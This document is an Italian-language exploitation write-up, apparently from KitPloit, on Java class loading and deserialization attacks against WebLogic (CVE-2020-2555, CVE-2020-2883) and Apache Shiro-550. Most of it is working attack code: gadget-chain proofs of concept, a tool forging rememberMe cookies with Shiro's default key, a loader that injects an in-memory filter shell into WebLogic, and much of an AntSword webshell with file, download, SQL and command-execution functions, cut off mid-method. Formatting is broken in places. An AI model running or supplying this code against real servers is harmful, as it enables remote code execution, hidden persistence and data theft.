> Java è un linguaggio compilato, tutto il codice Java deve essere compilato in bytecode per essere eseguito dalla JVM. Durante l'inizializzazione di una classe Java, viene chiamato `java.lang.ClassLoader` per caricare il bytecode della classe, e ClassLoader invoca il metodo defineClass per creare un'istanza della classe `java.lang.Class`.

La classe ClassLoader è una classe astratta e non può essere utilizzata direttamente. In JDK esistono diverse implementazioni concrete, come DefiningClassLoader, BCEL ClassLoader, GroovyClassLoader, URLClassLoader, l'org.python.core.BytecodeLoader di PythonInterpreter in Jython, e così via. Inoltre, è possibile implementare un proprio ClassLoader.

Questo articolo spiega principalmente tre metodi: URLClassLoader, BytecodeLoader e la definizione di un proprio ClassLoader per caricare classi dal bytecode.

### URLClassLoader```java
package org.chabug.loader;

import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderDemo {
    public static void main(String[] args) throws Exception {
//        URL url = new URL("https://baidu.com/cmd.jar");   // 也可以加载远程jar
        URL url = new URL("file:///d:/calc.jar");

        // 创建URLClassLoader对象,并加载远程jar包
        URLClassLoader ucl = new URLClassLoader(new URL[]{url});
        
        // 通过URLClassLoader加载jar包
        Class<?> aClass = ucl.loadClass("org.chabug.demo.Calc");
        aClass.newInstance();
    }
}

Il comando per creare il jar è jar cvf calc.jar Calc.class, il codice maligno è scritto direttamente nel blocco static, e viene eseguito automaticamente quando viene creata una nuova istanza della classe tramite newInstance().

image-20200822163304144

Calcolatrice aperta con successo

image-20200822163450161

BytecodeLoader```java

package org.chabug.loader;

import org.python.util.PythonInterpreter;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream;

public class BytecodeLoaderLoader { public static void main(String[] args) throws Exception { String className = "org.chabug.demo.Calc"; byte[] bytes = getBytesByFile("E:\code\java\JavaSerialize\target\classes\org\chabug\demo\Calc.class"); String classBytes = ""; for (byte b : bytes) { classBytes += String.format("%s%s", b, ","); } String s = String.format("from org.python.core import BytecodeLoader;\n" + "from jarray import array\n" + "myList = [%s]\n" + "bb = array( myList, 'b')\n" + "BytecodeLoader.makeClass("%s",None,bb).getConstructor([]).newInstance([]);", classBytes, className); PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); instance.exec(s); }

root@kitploit:~
public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
![image-20200822172647180](https://assets.kitploit.com/production/public/readmes/21799/439eb1ef261bd6925a2ef715e140999f7697173d16d8eed992d8d6bc0fbb8479.png)

### ClassLoader personalizzato

![image-20200822173106095](https://assets.kitploit.com/production/public/readmes/21799/fcef275c5db106938c04ea83ea7f513bd8bbefdcca3d2683445fa0cdd3c3964c.png)```java
package org.chabug.loader;

import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile;

public class MyLoader extends ClassLoader {
    public static String className = "org.chabug.demo.Calc";
    public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class");

    public static void main(String[] args) throws Exception {
        new MyLoader().loadClass(className).newInstance();
    }

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(className)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(className, bytes, 0, bytes.length);
        }

        return super.findClass(name);
    }
}

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

Queste due vulnerabilità sono molto simili alla catena CC nella forma, solo che la costruzione dei gadget è diversa. Per prima cosa, analizziamo la CVE-2020-2555, che è stata scoperta per prima.

CVE-2020-2555

Il problema si trova in `com.tangosol.util.extractor.ReflectionExtractor#extract````java public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass();

root@kitploit:~
    try {
        Method method = this.m_methodPrev;
        if (method == null || method.getDeclaringClass() != clz) {
            this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
        }
        return method.invoke(oTarget, this.m_aoParam);
    } catch (NullPointerException var4) {
        throw new RuntimeException(this.suggestExtractFailureCause(clz));
    } catch (Exception var5) {
        throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
    }
}

}

root@kitploit:~
e identico al transform() della catena CC, quindi è anche necessario cercare una classe simile a ChainedTransformer```java
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }

    return oTarget;
}

this.getExtractors() deriva dalla sua classe padre AbstractCompositeExtractor```java protected ValueExtractor[] m_aExtractor; public ValueExtractor[] getExtractors() { return this.m_aExtractor; }

root@kitploit:~
mentre in com.tangosol.util.filter.LimitFilter#toString verrà attivato extract()```java
public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}

Segui questi```java ValueExtractor extractor = (ValueExtractor)this.m_comparator; extractor.extract(this.m_oAnchorTop) extractor.extract(this.m_oAnchorBottom)

root@kitploit:~
Visualizza i campi di questa classe```java
private Comparator m_comparator;
private Object m_oAnchorTop;
private Object m_oAnchorBottom;

m_comparator è di tipo Comparator, e ChainedTransformer implementa questa interfaccia.

image-20200824101352678

Quindi m_comparator può contenere un oggetto chainedExtractor, e poi m_oAnchorTop viene passato a Runtime.class.

Riepilogo: utilizzare BadAttributeValueExpException per attivare toString() di LimitFilter, quindi ChainedExtractor chiama a catena extract() per eseguire Runtime```java package org.chabug.cve;

import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field;

public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor extractor1 = new ReflectionExtractor( "getMethod", new Object[]{"getRuntime", new Class[0]}

root@kitploit:~
    );

    // get invoke() to execute exec()
    ReflectionExtractor extractor2 = new ReflectionExtractor(
            "invoke",
            new Object[]{null, new Object[0]}

    );

    // invoke("exec","calc")
    ReflectionExtractor extractor3 = new ReflectionExtractor(
            "exec",
            new Object[]{new String[]{"cmd", "/c", "calc"}}
    );

    ReflectionExtractor[] extractors = {
            extractor1,
            extractor2,
            extractor3,
    };

    ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
    LimitFilter limitFilter = new LimitFilter();

    //m_comparator
    Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
    m_comparator.setAccessible(true);
    m_comparator.set(limitFilter, chainedExtractor);

    //m_oAnchorTop
    Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
    m_oAnchorTop.setAccessible(true);
    m_oAnchorTop.set(limitFilter, Runtime.class);

    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, limitFilter);

    // serialize

    byte[] buf = Serializables.serializeToBytes(badAttributeValueExpException);
    Serializables.deserializeFromBytes(buf);

}

}

root@kitploit:~
### CVE-2020-2883

2883 è in realtà la catena che abbiamo derivato in precedenza dalle due catene CC.```java
package org.chabug.cve;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
        ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}});

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                reflectionExtractor1,
                reflectionExtractor2,
                reflectionExtractor3,
        };

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);

        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

        byte[] buf = Serializables.serializeToBytes(queue);
    }
}

L'intera catena di exploit```java /*

  • readObject:797, PriorityQueue (java.util)
  • heapify:737, PriorityQueue (java.util)
  • siftDown:688, PriorityQueue (java.util)
  • siftDownUsingComparator:722, PriorityQueue (java.util)
  • compare:71, ExtractorComparator (com.tangosol.util.comparator)
  • extract:81, ChainedExtractor (com.tangosol.util.extractor)
  • extract:109, ReflectionExtractor (com.tangosol.util.extractor)
  • invoke:498, Method (java.lang.reflect) */
root@kitploit:~
I due CVE hanno la prima metà identica, entrambi usano ChainedExtractor per costruire una chain verso Runtime. Nel 2555 viene utilizzato BadAttributeValueExpException, nel 2883 PriorityQueue.

## Shiro-550 rememberMe con chiave hardcoded che causa RCE da deserializzazione

Prima di tutto, è necessario sapere che shiro è un framework di autenticazione, il cui principio si basa sul filtro servlet. La libreria shiro definisce ShiroFilter in web.xml, il cui ambito è tutti gli URL nella directory corrente.

![image-20200824110636439](https://assets.kitploit.com/production/public/readmes/21799/8ad70a3abecab5f29d30a73685b199f6c8fa6462d442af93d796a2988d40b698.png)

La gestione dei cookie avviene nella classe `CookieRememberMeManager`, che estende `AbstractRememberMeManager`. In `AbstractRememberMeManager` è hardcoded la chiave di crittografia `DEFAULT_CIPHER_KEY_BYTES`.

![image-20200824110840912](https://assets.kitploit.com/production/public/readmes/21799/a567c7fcb5a9f0c39e547b1a9971a289a2ea3324cde7609a02b05f466255f6fe.png)

Attraverso la crittografia simmetrica AES CBC, quindi la serializzazione e deserializzazione sono eseguite da `org.apache.shiro.io.DefaultSerializer`.

![image-20200824111728416](https://assets.kitploit.com/production/public/readmes/21799/c5041ab11adbdd389ae3cb6c1a47a8a892725dd0aa7db7bab59c569b7e20e38a.png)

Conoscendo l'algoritmo di crittografia e la chiave hardcoded, è possibile costruire un oggetto malevolo per ottenere RCE tramite deserializzazione. L'algoritmo di crittografia è il seguente:```java
package org.chabug.util;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

public class EncryptUtil {
    private static final String ENCRY_ALGORITHM = "AES";
    private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";
    private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     // 16字节IV

    public EncryptUtil() {
    }

    public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {
        try {
            SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);
            Cipher cipher = Cipher.getInstance(CIPHER_MODE);
            IvParameterSpec iv = new IvParameterSpec(IV);
            cipher.init(1, keySpec, iv);
            byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);
            return cipherTextBytes;
        } catch (NoSuchPaddingException var6) {
            var6.printStackTrace();
        } catch (NoSuchAlgorithmException var7) {
            var7.printStackTrace();
        } catch (BadPaddingException var8) {
            var8.printStackTrace();
        } catch (IllegalBlockSizeException var9) {
            var9.printStackTrace();
        } catch (InvalidKeyException var10) {
            var10.printStackTrace();
        } catch (Exception var11) {
            var11.printStackTrace();
        }

        return null;
    }

    public static String shiroEncrypt(String key, byte[] objectBytes) {
        byte[] pwd = Base64.decode(key);
        byte[] cipher = encrypt(objectBytes, pwd);

        assert cipher != null;

        byte[] output = new byte[pwd.length + cipher.length];
        byte[] iv = IV;
        System.arraycopy(iv, 0, output, 0, iv.length);
        System.arraycopy(cipher, 0, output, pwd.length, cipher.length);
        return Base64.encode(output);
    }
}

Generare un cookie rememberMe con CC5```java package org.chabug.shiro;

import org.chabug.util.EncryptUtil; import org.chabug.util.Serializables; import ysoserial.payloads.CommonsCollections5;

public class Shiro550 { public static void main(String[] args) throws Exception { CommonsCollections5 cc = new CommonsCollections5(); Object calc = cc.getObject("calc"); byte[] bytes = Serializables.serializeToBytes(calc); String key = "kPH+bIxk5D2deZiIxcaaaA=="; String rememberMe = EncryptUtil.shiroEncrypt(key, bytes); System.out.println(rememberMe); } }

root@kitploit:~
Invio del pacchetto con bp

![image-20200824113600901](https://assets.kitploit.com/production/public/readmes/21799/871a02527794f8a457b1eca464a2c4c439faa6b6476c560d9d02102ed23efaf0.png)

Sul target appare la calcolatrice

![image-20200824113637777](https://assets.kitploit.com/production/public/readmes/21799/8c1703587a40fd3b49f761a765c457563dd083bd1865837a83d69f2ca2c31a51.png)

## WebLogic + Shiro: registrazione in un click di una memory shell filter tramite deserializzazione

Adesso veniamo al punto principale, prima parliamo dell'idea generale:

Il Shiro target incontrato non ha gadget disponibili, ma abbiamo scoperto che la sua chiave è quella predefinita `kPH+bIxk5D2deZiIxcaaaA==`, attraverso la pagina di errore 404 abbiamo scoperto che è WebLogic, e abbiamo ottenuto RCE con successo usando il gadget CVE-2020-2883, ma non c'è connettività di rete, quindi non possiamo ottenere una reverse shell, e poiché è SpringMVC, non possiamo accedere ai file jsp scritti, quindi dobbiamo solo implementare una memory shell basata su filter.

Riassumendo:

1. Il punto di ingresso della deserializzazione è Shiro
2. Il gadget è 2883
3. 2883 definisce bytecode tramite URLClassLoader
4. Nel bytecode viene scritto il codice per registrare la memory shell
5. La filter shell viene registrata nella memoria di WebLogic

Prima risolviamo il problema dello sfruttamento del gadget shiro+2883: in pratica, prendiamo l'oggetto queue generato da 2883 e lo crittografiamo con AES base64 in Shiro.```java
byte[] buf = Serializables.serializeToBytes(queue);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);

Per definire il bytecode, è necessario prima scrivere la classe del bytecode, ovvero il codice per iniettare una shell in memoria.```java package org.chabug.memshell;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;

public class InjectFilterShell { static { try { Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread());

root@kitploit:~
        Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
        connectionHandlerF.setAccessible(true);
        Object obj = connectionHandlerF.get(currentWork);

        Field requestF = obj.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        obj = requestF.get(obj);

        Field contextF = obj.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(obj);

        Field classLoaderF = context.getClass().getDeclaredField("classLoader");
        classLoaderF.setAccessible(true);
        ClassLoader cl = (ClassLoader) classLoaderF.get(context);

        Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
        cachedClassesF.setAccessible(true);
        Object cachedClass = cachedClassesF.get(cl);

        Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
        if (getM.invoke(cachedClass, "shell") == null) {
            byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class");
            Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

            String evilName = "gameName" + System.currentTimeMillis();
            String filterName = "gameFilter" + System.currentTimeMillis();
            String[] url = new String[]{"/*"};

            Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
            putM.invoke(cachedClass, filterName, evilFilterClass);
            Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
            Object filterManager = getFilterManagerM.invoke(context);

            Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
            registerFilterM.setAccessible(true);
            registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static byte[] getBytesByFile(String pathStr) {
    File file = new File(pathStr);
    try {
        FileInputStream fis = new FileInputStream(file);
        ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
        byte[] b = new byte[1000];
        int n;
        while ((n = fis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        fis.close();
        byte[] data = bos.toByteArray();
        bos.close();
        return data;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

}

root@kitploit:~
Dopo aver compilato il jar, scriverlo utilizzando il comando `base64 -d`, per poterlo caricare successivamente tramite `URLClassLoader`. Poiché il codice si trova nel blocco `static`, verrà eseguito automaticamente al caricamento.

Scriviamo ora il codice per caricare il jar precedente tramite `URLClassLoader` su 2883.```java
package org.chabug.memshell;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"org.chabug.memshell.InjectFilterShell"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );


            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
            queueArray[0] = URLClassLoader.class;
            queueArray[1] = "1";

            byte[] buf = Serializables.serializeToBytes(queue);
            String key = "kPH+bIxk5D2deZiIxcaaaA==";
            String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
            System.out.println(rememberMe);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

Caricando la classe org.chabug.memshell.InjectFilterShell tramite URLClassLoader, verrà eseguito automaticamente il blocco static, al cui interno verranno letti i bytecode di C:/Users/Administrator/Desktop/AntSwordFilterShell.class, quindi verrà iniettata la classe AntSwordFilterShell attraverso la definizione di bytecode. AntSwordFilterShell è appunto il nostro Filter shell, il cui codice è il seguente:```java package org.chabug.memshell;

import javax.servlet.; import java.io.; import java.net.HttpURLConnection; import java.net.URL; import java.sql.*; import java.text.SimpleDateFormat;

public class AntSwordFilterShell implements Filter{

root@kitploit:~
String Pwd = "th1sIsMySecretPassW0rd!";   //连接密码
String encoder = ""; // default
String cs = "UTF-8"; // 脚本自身编码

String EC(String s) throws Exception {
    if (encoder.equals("hex") || encoder == "hex") return s;
    return new String(s.getBytes("ISO-8859-1"), cs);
}

String showDatabases(String encode, String conn) throws Exception {
    String sql = "show databases"; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showTables(String encode, String conn, String dbname) throws Exception {
    String sql = "show tables from " + dbname; // mysql
    String columnsep = "\t";
    String rowsep = "";
    return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}

String showColumns(String encode, String conn, String dbname, String table) throws Exception {
    String columnsep = "\t";
    String rowsep = "";
    String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String query(String encode, String conn, String sql) throws Exception {
    String columnsep = "\t|\t"; // general
    String rowsep = "\r\n";
    return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}

String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname)
        throws Exception {
    String ret = "";
    conn = (EC(conn));
    String[] x = conn.trim().replace("\r\n", "\n").split("\n");
    Class.forName(x[0].trim());
    String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder);
    Connection c = DriverManager.getConnection(url);
    Statement stmt = c.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    ResultSetMetaData rsmd = rs.getMetaData();

    if (needcoluname) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnName = rsmd.getColumnName(i);
            ret += columnName + columnsep;
        }
        ret += rowsep;
    }

    while (rs.next()) {
        for (int i = 1; i <= rsmd.getColumnCount(); i++) {
            String columnValue = rs.getString(i);
            ret += columnValue + columnsep;
        }
        ret += rowsep;
    }
    return ret;
}

String WwwRootPathCode(ServletRequest r) throws Exception {
    //  String d = r.getSession().getServletContext().getRealPath("/");
    String d = this.getClass().getClassLoader().getResource("/").getPath();
    String s = "";
    if (!d.substring(0, 1).equals("/")) {
        File[] roots = File.listRoots();
        for (int i = 0; i < roots.length; i++) {
            s += roots[i].toString().substring(0, 2) + "";
        }
    } else {
        s += "/";
    }
    return s;
}

String FileTreeCode(String dirPath) throws Exception {
    File oF = new File(dirPath), l[] = oF.listFiles();
    String s = "", sT, sQ, sF = "";
    java.util.Date dt;
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    for (int i = 0; i < l.length; i++) {
        dt = new java.util.Date(l[i].lastModified());
        sT = fm.format(dt);
        sQ = l[i].canRead() ? "R" : "";
        sQ += l[i].canWrite() ? " W" : "";
        if (l[i].isDirectory()) {
            s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        } else {
            sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        }
    }
    return s += sF;
}

String ReadFileCode(String filePath) throws Exception {
    String l = "", s = "";
    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
    while ((l = br.readLine()) != null) {
        s += l + "\r\n";
    }
    br.close();
    return s;
}

String WriteFileCode(String filePath, String fileContext) throws Exception {
    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
    bw.write(fileContext);
    bw.close();
    return "1";
}

String DeleteFileOrDirCode(String fileOrDirPath) throws Exception {
    File f = new File(fileOrDirPath);
    if (f.isDirectory()) {
        File x[] = f.listFiles();
        for (int k = 0; k < x.length; k++) {
            if (!x[k].delete()) {
                DeleteFileOrDirCode(x[k].getPath());
            }
        }
    }
    f.delete();
    return "1";
}

void DownloadFileCode(String filePath, ServletResponse r) throws Exception {
    int n;
    byte[] b = new byte[512];
    r.reset();
    ServletOutputStream os = r.getOutputStream();
    BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath));
    os.write(("->|").getBytes(), 0, 3);
    while ((n = is.read(b, 0, 512)) != -1) {
        os.write(b, 0, n);
    }
    os.write(("|<-").getBytes(), 0, 3);
    os.close();
    is.close();
}

String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
    String h = "0123456789ABCDEF";
    File f = new File(savefilePath);
    f.createNewFile();
    FileOutputStream os = new FileOutputStream(f);
    for (int i = 0; i < fileHexContext.length(); i += 2) {
        os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
    }
    os.close();
    return "1";
}

String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
    File sf = new File(sourceFilePath), df = new File(targetFilePath);
    if (sf.isDirectory()) {
        if (!df.exists()) {
            df.mkdir();
        }
        File z[] = sf.listFiles();
        for (int j = 0; j < z.length; j++) {
            CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName());
        }
    } else {
        FileInputStream is = new FileInputStream(sf);
        FileOutputStream os = new FileOutputStream(df);
        int n;
        byte[] b = new byte[1024];
        while ((n = is.read(b, 0, 1024)) != -1) {
            os.write(b, 0, n);
        }
        is.close();
        os.close();
    }
    return "1";
}

String RenameFileOrDirCode(String oldName, String newName) throws Exception {
    File sf = new File(oldName), df = new File(newName);
    sf.renameTo(df);
    return "1";
}

String CreateDirCode(String dirPath) throws Exception {
    File f = new File(dirPath);
    f.mkdir();
    return "1";
}

String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
    File f = new File(fileOrDirPath);
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date dt = fm.parse(aTime);
    f.setLastModified(dt.getTime());
    return "1";
}

String WgetCode(String urlPath, String saveFilePath) throws Exception {
    URL u = new URL(urlPath);
    int n = 0;
    FileOutputStream os = new FileOutputStream(saveFilePath);
    HttpURLConnection h = (HttpURLConnection) u.openConnection();
    InputStream is = h.getInputStream();
    byte[] b = new byte[512];
    while ((n = is.read(b)) != -1) {
        os.write(b, 0, n);
    }
    os.close();
    is.close();
    h.disconnect();
    return "1";
}

String SysInfoCode(ServletRequest r) throws Exception {

// String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; }

root@kitploit:~
boolean isWin() {
    String osname = System.getProperty("os.name");
    osname = osname.toLowerCase();
    if (osname.startsWith("win"))
        return true;
    return false;
}

String ExecuteCommandCode(String cmdPath, String command) throws Exception {
    StringBuffer sb = new StringBuffer("");
    String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
    Process p = Runtime.getRuntime().exec(c);
    CopyInputStream(p.getInputStream(), sb);
    CopyInputStream(p.getErrorStream(), sb);
    return sb.toString();
}

String decode(String str) {
    byte[] bt = null;
    try {
        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
        bt = decoder.decodeBuffer(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return new String(bt);
}

String decode(String str, String encode) {
    if (encode.equals("hex") || encode == "hex") {
        if (str == "null" || str.equals("null")) {
            return "";
        }
        StringBuilder sb = new StringBuilder();
        StringBuilder temp = new StringBuilder();
        try {
            for (int i = 0; i < str.length() - 1; i += 2) {
                String output = str.substring(i, (i + 2));
                int decimal = Integer.parseInt(output, 16);
                sb.append((char) decimal);
                temp.append(decimal);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return sb.toString();
    } else if (encode.equals("base64") || encode == "base64") {
        byte[] bt = null;
        try {
            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
            bt = decoder.decodeBuffer(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new String(bt);
    }
    return str;
}

void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
    String l;
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    while ((l = br.readLine()) != null) {
        sb.append(l + "\r\n");
    }
    br.close();
}

public void init(FilterConfig f) throws ServletException {
}


public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    if (request.getParameter("size") != null) {
        response.setContentType("text/html");
        response.setCharacterEncoding(cs);
        StringBuffer sb = new StringBuffer("");
        try {
            String funccode = EC(request.getParameter(Pwd) + "");
            String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
            String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
            String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
            String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
